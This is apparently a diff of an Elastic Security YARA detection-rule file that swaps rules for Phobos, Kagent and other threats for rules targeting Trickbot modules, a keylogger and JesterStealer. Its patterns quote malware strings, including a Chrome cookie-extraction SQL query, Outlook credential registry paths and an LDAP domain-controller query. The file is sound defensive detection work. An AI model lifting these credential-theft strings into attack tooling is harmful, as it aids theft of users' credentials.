+		hash = "e999b83629355ec7ff3b6fda465ef53ce6992c9327344fbf124f7eb37808389d"
+		logic_hash = "e98503696bd72cab4d0d1633991bdb87c0537fd1e2d95507ccd474125328f318"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5e9883ad58fee79960a6e5e3c266885c6dc72057a16f4ea0e371088571e9b663"
+		fingerprint = "0aeb68977f4926272f27d5fba44e66bdbb9d6a113da5d7b4133a379b06df4474"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67339,151 +71312,180 @@ rule ELASTIC_Windows_Trojan_Ghostpulse_9E22C56D : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { C7 44 24 28 80 3C 36 FE C7 44 24 2C FF FF FF FF 53 6A 00 }
-		$b = { 80 7C 24 04 3F ?? ?? 8A 74 24 08 38 74 1E 05 8A 6C 24 10 ?? ?? 80 7C 24 08 3F }
-		$c = { 89 41 5C 8B 44 24 ?? 8B 80 04 01 00 00 89 44 24 ?? 8B 42 3C 8B 44 02 78 8B 4C 02 20 01 D1 89 4C 24 ?? 8B 4C 02 1C 89 4C 24 ?? 8B 44 02 24 89 44 }
+		$a1 = "select name, encrypted_value, host_key, path, length(encrypted_value), creation_utc, expires_utc from cookies where datetime(exp"
+		$a2 = "Cookies send failure: servers unavailable" ascii fullword
+		$a3 = "<moduleconfig>"
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Sandra_5D112Feb : FILE
+rule ELASTIC_Windows_Trojan_Trickbot_618B27D2 : FILE MEMORY
 {
 	meta:
-		description = "Name: SANDRA, Version: 10.12.0.0"
+		description = "Targets Outlook.dll module containing functionality used to retrieve Outlook data"
 		author = "Elastic Security"
-		id = "5d112feb-dc0a-464c-9753-695bb510f5a8"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "618b27d2-22ad-4542-86ed-7148f17971da"
+		date = "2021-03-30"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Sandra.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3a364a7a3f6c0f2f925a060e84fb18b16c118125165b5ea6c94363221dc1b6de"
-		logic_hash = "d234a1e74234400f51c2aa7a9fb1549be1bc422bdf585db7d2ec9ad1ec75e490"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L810-L843"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d3ec8f4a46b21fb189fc3d58f3d87bf9897653ecdf90b7952dcc71f3b4023b4e"
+		logic_hash = "e66a9dd7efdbff8b9e30119d0e99187e3dfa4ca1c1bc1ade0f8f1003d10e2620"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "13572e1155a5417549508952504b891f0e4f40cb6ff911bdda6f152c051c401c"
-		threat_name = "Windows.VulnDriver.Sandra"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "df4336e5cbca495dac4fe110bd7a727e91bb3d465f76d3f3796078332c13633c"
+		threat_name = "Windows.Trojan.Trickbot"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 53 00 41 00 4E 00 44 00 52 00 41 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x0c][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x09][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x0b][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a1 = "OutlookX32.dll" ascii fullword
+		$a2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" wide fullword
+		$a3 = "Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook" wide fullword
+		$a4 = "Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" wide fullword
+		$a5 = "OutlookX32" ascii fullword
+		$a6 = " Port:" wide fullword
+		$a7 = " User:" wide fullword
+		$a8 = " Pass:" wide fullword
+		$a9 = "String$" ascii fullword
+		$a10 = "outlookDecrU" ascii fullword
+		$a11 = "Cannot Decrypt" ascii fullword
+		$a12 = " Mail:" wide fullword
+		$a13 = " Serv:" wide fullword
+		$a14 = ",outlookDecr" ascii fullword
+		$a15 = "CryptApi" ascii fullword
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		5 of ($a*)
 }
-rule ELASTIC_Windows_Vulndriver_Sandra_612A7A16 : FILE
+rule ELASTIC_Windows_Trojan_Trickbot_6Eb31E7B : FILE MEMORY
 {
 	meta:
-		description = "Name: sandra.sys, Version: 10.12.0.0"
+		description = "Targets DomainDll module containing functionality using LDAP to retrieve credentials and configuration information"
 		author = "Elastic Security"
-		id = "612a7a16-b616-4a70-9994-cb5aebfa0ca9"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "6eb31e7b-9dc3-48ff-91fe-8c584729c415"
+		date = "2021-03-30"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Sandra.yar#L23-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8fda0e1775d903b73836d4103f6e8b0e2f052026b3acdb07bd345b9ddb3c873a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L845-L872"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3e3d82ea4764b117b71119e7c2eecf46b7c2126617eafccdfc6e96e13da973b1"
+		logic_hash = "5b6902c8644c79bd183725f0e41bf2f7ae425bf0eb1dddea6fd1a38b77f176ba"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "ead3bd8256fbb5d26c4a177298a5cdd14e5eeb73d9336999c0a68ece9efa2d55"
-		threat_name = "Windows.VulnDriver.Sandra"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "d145b7c95bca0dc0c46a8dff60341a21dce474edd169dd0ee5ea2396dad60b92"
+		threat_name = "Windows.Trojan.Trickbot"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 73 00 61 00 6E 00 64 00 72 00 61 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x0c][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x09][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x0b][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a1 = "module32.dll" ascii fullword
+		$a2 = "Size - %d kB" ascii fullword
+		$a3 = "</moduleconfig> " ascii fullword
+		$a4 = "<moduleconfig>" ascii fullword
+		$a5 = "\\\\%ls\\SYSVOL\\%ls" wide fullword
+		$a6 = "DomainGrabber"
+		$a7 = "<autostart>yes</autostart>" ascii fullword
+		$a8 = "<needinfo name=\"id\"/>" ascii fullword
+		$a9 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" wide fullword
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		5 of ($a*)
 }
-rule ELASTIC_Windows_Ransomware_Phobos_A5420148 : BETA FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_91516Cf4 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Phobos ransomware"
+		description = "Generic signature used to identify Trickbot module usage"
 		author = "Elastic Security"
-		id = "a5420148-2f80-4a14-8a0d-98943fcbe784"
-		date = "2020-06-25"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Phobos.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "9fcfe41102bee4f8ecf19f30d0bbb2de50e1a1aff4e17c587b5d9adb417527c5"
+		id = "91516cf4-c826-4d5d-908f-e1c0b3bccec5"
+		date = "2021-03-30"
+		modified = "2021-08-31"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L874-L896"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6cd0d4666553fd7184895502d48c960294307d57be722ebb2188b004fc1a8066"
+		logic_hash = "6c0bdd6827bebb337c0012cdb6e931cd96ce2ad61f3764f288b96ff049b2d007"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "2b3937dbecb9a12e5e276c681eb40cb3884411a048175fcfe1bd4be3f7611aca"
-		threat_name = "Windows.Ransomware.Phobos"
-		severity = 100
+		tags = "FILE, MEMORY"
+		fingerprint = "2667c7181fb4db3f5765369fc2ec010b807a7bf6e2878fc42af410f036c61cbe"
+		threat_name = "Windows.Trojan.Trickbot"
+		severity = 80
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 61 00 63 00 75 00 74 00 65 00 00 00 61 00 63 00 74 00 69 00 6E 00 00 00 61 00 63 00 74 00 6F 00 6E 00 00 00 61 00 63 00 74 00 6F 00 72 00 00 00 61 00 63 00 75 00 66 00 66 00 00 }
-		$a2 = { 0C 6D 00 73 00 66 00 74 00 65 00 73 00 71 00 6C 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 61 00 67 00 65 00 6E 00 74 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 62 00 72 00 6F 00 77 00 73 00 65 00 72 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 73 00 65 00 72 00 76 00 72 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 77 00 72 00 69 00 74 00 65 00 72 00 2E 00 65 00 78 00 65 00 00 00 6F 00 72 00 61 00 63 00 6C 00 65 00 2E 00 65 00 78 00 }
-		$a3 = { 31 00 63 00 64 00 00 00 33 00 64 00 73 00 00 00 33 00 66 00 72 00 00 00 33 00 67 00 32 00 00 00 33 00 67 00 70 00 00 00 37 00 7A 00 00 00 61 00 63 00 63 00 64 00 61 00 00 00 61 00 63 00 63 00 64 00 62 00 00 00 61 00 63 00 63 00 64 00 63 00 00 00 61 00 63 00 63 00 64 00 65 00 00 00 61 00 63 00 63 00 64 00 74 00 00 00 61 00 63 00 63 00 64 00 77 00 00 00 61 00 64 00 62 00 00 00 61 00 64 00 70 00 00 00 61 00 69 00 00 00 61 00 69 00 33 00 00 00 61 00 69 00 34 00 00 00 61 00 69 00 35 00 00 00 61 00 69 00 36 00 00 00 61 00 69 00 37 00 00 00 61 00 69 00 38 00 00 00 61 00 6E 00 69 00 6D 00 00 00 61 00 72 00 77 00 00 00 61 00 73 00 00 00 61 00 73 00 61 00 00 00 61 00 73 00 63 00 00 00 61 00 73 00 63 00 78 00 00 00 61 00 73 00 6D 00 00 00 61 00 73 00 6D 00 78 00 00 00 61 00 73 00 70 00 00 00 61 00 73 00 70 00 78 00 00 00 61 00 73 00 72 00 00 00 61 00 73 00 78 00 00 00 61 00 76 00 69 00 00 00 61 00 76 00 73 00 00 00 62 00 61 00 63 00 6B 00 75 00 70 00 00 00 62 00 61 00 6B 00 00 00 62 00 61 00 79 00 00 00 62 00 64 00 00 00 62 00 69 00 6E 00 00 00 62 00 6D 00 70 00 00 00 }
+		$a1 = "<moduleconfig>" ascii wide
+		$a2 = "<autostart>" ascii wide
+		$a3 = "</autostart>" ascii wide
+		$a4 = "</moduleconfig>" ascii wide
 
 	condition:
-		2 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Phobos_Ff55774D : BETA FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_Be718Af9 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Phobos ransomware"
+		description = "Targets permadll module used to fingerprint BIOS/firmaware data"
 		author = "Elastic Security"
-		id = "ff55774d-4425-4243-8156-ce029c1d5860"
-		date = "2020-06-25"
+		id = "be718af9-5995-4ae2-ba55-504e88693c96"
+		date = "2021-03-30"
 		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Phobos.yar#L24-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "9ee41b9638a8cc1d9f9b254878c935c531b2f599be59550b3617b1de8cba2ba5"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L898-L921"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c1f1bc58456cff7413d7234e348d47a8acfdc9d019ae7a4aba1afc1b3ed55ffa"
+		logic_hash = "d020f7d1637fc4ee3246e97c9acae0be1782e688154bd109f53f807211beebd7"
 		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "d8016c9be4a8e5b5ac32b7108542fee8426d65b4d37e2a9c5ad57284abb3781e"
-		threat_name = "Windows.Ransomware.Phobos"
-		severity = 90
+		quality = 25
+		tags = "FILE, MEMORY"
+		fingerprint = "047b1c64b8be17d4a6030ab2944ad715380f53a8a6dd9c8887f198693825a81d"
+		threat_name = "Windows.Trojan.Trickbot"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$c1 = { 24 18 83 C4 0C 8B 4F 0C 03 C6 50 8D 54 24 18 52 51 6A 00 6A 00 89 44 }
+		$a1 = "user_platform_check.dll" ascii fullword
+		$a2 = "<moduleconfig><nohead>yes</nohead></moduleconfig>" ascii fullword
+		$a3 = "DDEADFDEEEEE"
+		$a4 = "\\`Ruuuuu_Exs|_" ascii fullword
+		$a5 = "\"%pueuu%" ascii fullword
 
 	condition:
-		1 of ($c*)
+		3 of ($a*)
 }
-rule ELASTIC_Windows_Ransomware_Phobos_11Ea7Be5 : BETA FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_F8Dac4Bc : FILE MEMORY
 {
 	meta:
-		description = "Identifies Phobos ransomware"
+		description = "Targets rdpscan module used to bruteforce RDP"
 		author = "Elastic Security"
-		id = "11ea7be5-7aac-41d7-8d09-45131a9c656e"
-		date = "2020-06-25"
+		id = "f8dac4bc-2ea1-4733-a260-59f3cae2eba8"
+		date = "2021-03-30"
 		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Phobos.yar#L45-L64"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "1f86695f316200c92d0d02f5f3ba9f68854978f98db5d4291a81c06c9f0b8d28"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L923-L954"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "13d102d546b9384f944f2a520ba32fb5606182bed45a8bba681e4374d7e5e322"
+		logic_hash = "d4536aac0ee402abcb87826e45c892d6f39562bc1e39b72ae8880dc077f230d9"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "a264f93e085134e5114c5d72e1bf93e70935e33756a79f1021e9c1e71d6c8697"
-		threat_name = "Windows.Ransomware.Phobos"
+		tags = "FILE, MEMORY"
+		fingerprint = "256daf823f6296ae02103336817dec565129a11f37445b791b2f8e3163f0c17f"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67491,179 +71493,192 @@ rule ELASTIC_Windows_Ransomware_Phobos_11Ea7Be5 : BETA FILE MEMORY
 		os = "windows"
 
 	strings:
-		$b1 = { C0 74 30 33 C0 40 8B CE D3 E0 85 C7 74 19 66 8B 04 73 66 89 }
+		$a1 = "rdpscan.dll" ascii fullword
+		$a2 = "F:\\rdpscan\\Bin\\Release_nologs\\"
+		$a3 = "Cookie: %s %s" wide fullword
+		$a4 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"srv\" file=\"srv\" period=\"60\"/></autoconf><"
+		$a5 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"srv\" file=\"srv\" period=\"60\"/></autoconf><"
+		$a6 = "X^Failed to create a list of contr" ascii fullword
+		$a7 = "rdp/domains" wide fullword
+		$a8 = "Your product name" wide fullword
+		$a9 = "rdp/over" wide fullword
+		$a10 = "rdp/freq" wide fullword
+		$a11 = "rdp/names" wide fullword
+		$a12 = "rdp/dict" wide fullword
+		$a13 = "rdp/mode" wide fullword
 
 	condition:
-		1 of ($b*)
+		4 of ($a*)
 }
-rule ELASTIC_Macos_Backdoor_Kagent_64Ca1865 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_9C0Fa8Fe : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Backdoor Kagent (MacOS.Backdoor.Kagent)"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "64ca1865-0a99-49dc-b138-02b17ed47f60"
-		date = "2021-11-11"
-		modified = "2022-07-22"
+		id = "9c0fa8fe-8d5f-4581-87a0-92a4ed1b32b3"
+		date = "2021-07-13"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Backdoor_Kagent.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d599d7814adbab0f1442f5a10074e00f3a776ce183ea924abcd6154f0d068bb4"
-		logic_hash = "dea0a1bbe8c3065b395de50b5ffc2fbdf479ed35ce284fa33298d6ed55e960c6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L956-L974"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f528c3ea7138df7c661d88fafe56d118b6ee1d639868212378232ca09dc9bfad"
+		logic_hash = "23aebc3139c34ecd609db7920fa0d5e194173409e1862555e4c468dad6c46299"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b8086b08a019a733bee38cebdc4e25cdae9d3c238cfe7b341d8f0cd4db204d27"
+		fingerprint = "bd49ed2ee65ff0cfa95efc9887ed24de3882c5b5740d0efc6b9690454ca3f5dc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$s1 = "save saveCaptureInfo"
-		$s2 = "savephoto success screenCaptureInfo"
-		$s3 = "no auto bbbbbaaend:%d path %s"
-		$s4 = "../screencapture/screen_capture_thread.cpp"
-		$s5 = "%s:%d, m_autoScreenCaptureQueue: %x"
-		$s6 = "auto bbbbbaaend:%d path %s"
-		$s7 = "auto aaaaaaaastartTime:%d path %s"
+		$a = { 74 19 48 85 FF 74 60 8B 46 08 39 47 08 76 6A 33 ED B1 01 B0 01 }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Linux_Hacktool_Bruteforce_Bad95Bd6 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Lha_F72Bff9A : FILE
 {
 	meta:
-		description = "Detects Linux Hacktool Bruteforce (Linux.Hacktool.Bruteforce)"
+		description = "Name: LHA.sys"
 		author = "Elastic Security"
-		id = "bad95bd6-94a9-4abf-9d3b-781f0b79c5ce"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "f72bff9a-046c-4e02-9e11-4787c8aada75"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Bruteforce.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8e8be482357ebddc6ac3ea9ee60241d011063f7e558a59e6bd119e72e4862024"
-		logic_hash = "8001e6503baeb52c66c9b30026544913270085406a1fe4c45d14629811d36d5f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Lha.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e75714f8e0ff45605f6fc7689a1a89c7dcd34aab66c6131c63fefaca584539cf"
+		logic_hash = "cea05432b47cf14982bda74476c8c8582068c22fe7dec6468c9756c20412dca2"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "10698122ff9fe06b398307ec15ad4f5bb519285e1eaad97011abf0914f1e7afd"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "3b464386a60747131012d8380a34bed9329b02ac5cdc7b69b951f4f681243f35"
+		threat_name = "Windows.VulnDriver.Lha"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 73 65 6E 64 6D 6D 73 67 00 66 70 75 74 73 00 6D 65 6D 63 70 79 00 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 4C 00 48 00 41 00 2E 00 73 00 79 00 73 00 00 00 }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
 }
-rule ELASTIC_Linux_Hacktool_Bruteforce_66A14C03 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Aobokeylogger_Bd960F34 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Bruteforce (Linux.Hacktool.Bruteforce)"
+		description = "Detects Macos Trojan Aobokeylogger (MacOS.Trojan.Aobokeylogger)"
 		author = "Elastic Security"
-		id = "66a14c03-f4a3-4b24-a5db-5a9235334e37"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "bd960f34-1932-41be-ac0a-f45ada22c560"
+		date = "2021-10-18"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Bruteforce.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a2d8e2c34ae95243477820583c0b00dfe3f475811d57ffb95a557a227f94cd55"
-		logic_hash = "c8b2925c2e3f95e78f117ddd52e208d143d19ee75e9283f7f15d10e930eaac5f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Aobokeylogger.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2b50146c20621741642d039f1e3218ff68e5dbfde8bb9edaa0a560ca890f0970"
+		logic_hash = "f89fbf1d6bf041de0ce32f7920818c34ce0eeb6779bb7fac6f223bbea1c6f6fa"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "255c1a2e781ff7f330c09b3c82f08db110579f77ccef8780d03e9aa3eec86607"
+		fingerprint = "ae26a03d1973669cbeaabade8f3fd09ef2842b9617fa38e7b66dc4726b992a81"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 48 8B 4C 24 08 78 3D 48 8B 44 24 30 48 29 C8 48 89 4D 08 48 89 }
+		$a = { 20 74 68 61 6E 20 32 30 30 20 6B 65 79 73 74 72 6F 6B 65 73 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Bruteforce_Eb83B6Aa : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Jesterstealer_B35C6F4B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Bruteforce (Linux.Hacktool.Bruteforce)"
+		description = "Detects Windows Trojan Jesterstealer (Windows.Trojan.JesterStealer)"
 		author = "Elastic Security"
-		id = "eb83b6aa-d7b5-4d10-9258-4bf619fc6582"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "b35c6f4b-995f-4336-94bf-fc6dc8c124f4"
+		date = "2022-02-28"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Bruteforce.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8dec88576f61f37fbaece3c30e71d338c340c8fb9c231f9d7b1c32510d2c3167"
-		logic_hash = "bc79860e414d07ee8000eea3d61827272d66faa90a8bf6c65fcda90a4bd762ef"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_JesterStealer.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "10c3846867f70dd26c5a54332ed22070c9e5e0e4f52f05fdae12ead801f7933b"
+		logic_hash = "acc49348267e963af9ff6ba7afa053d4056d4068b4386a872e33e025790ba759"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7767bf57c57d398f27646f5ae2bcda07d6c62959becb31a5186ff0b027ff02b4"
+		fingerprint = "d91c26a06ba7c9330e38a4744299223d3b28a96f131bce5198c4ef7c74b7d2ff"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 10 89 45 EC EB 04 83 6D EC 01 83 7D EC 00 74 12 8B 45 EC 8D }
+		$a1 = "[Decrypt Chrome Password] {0}" wide fullword
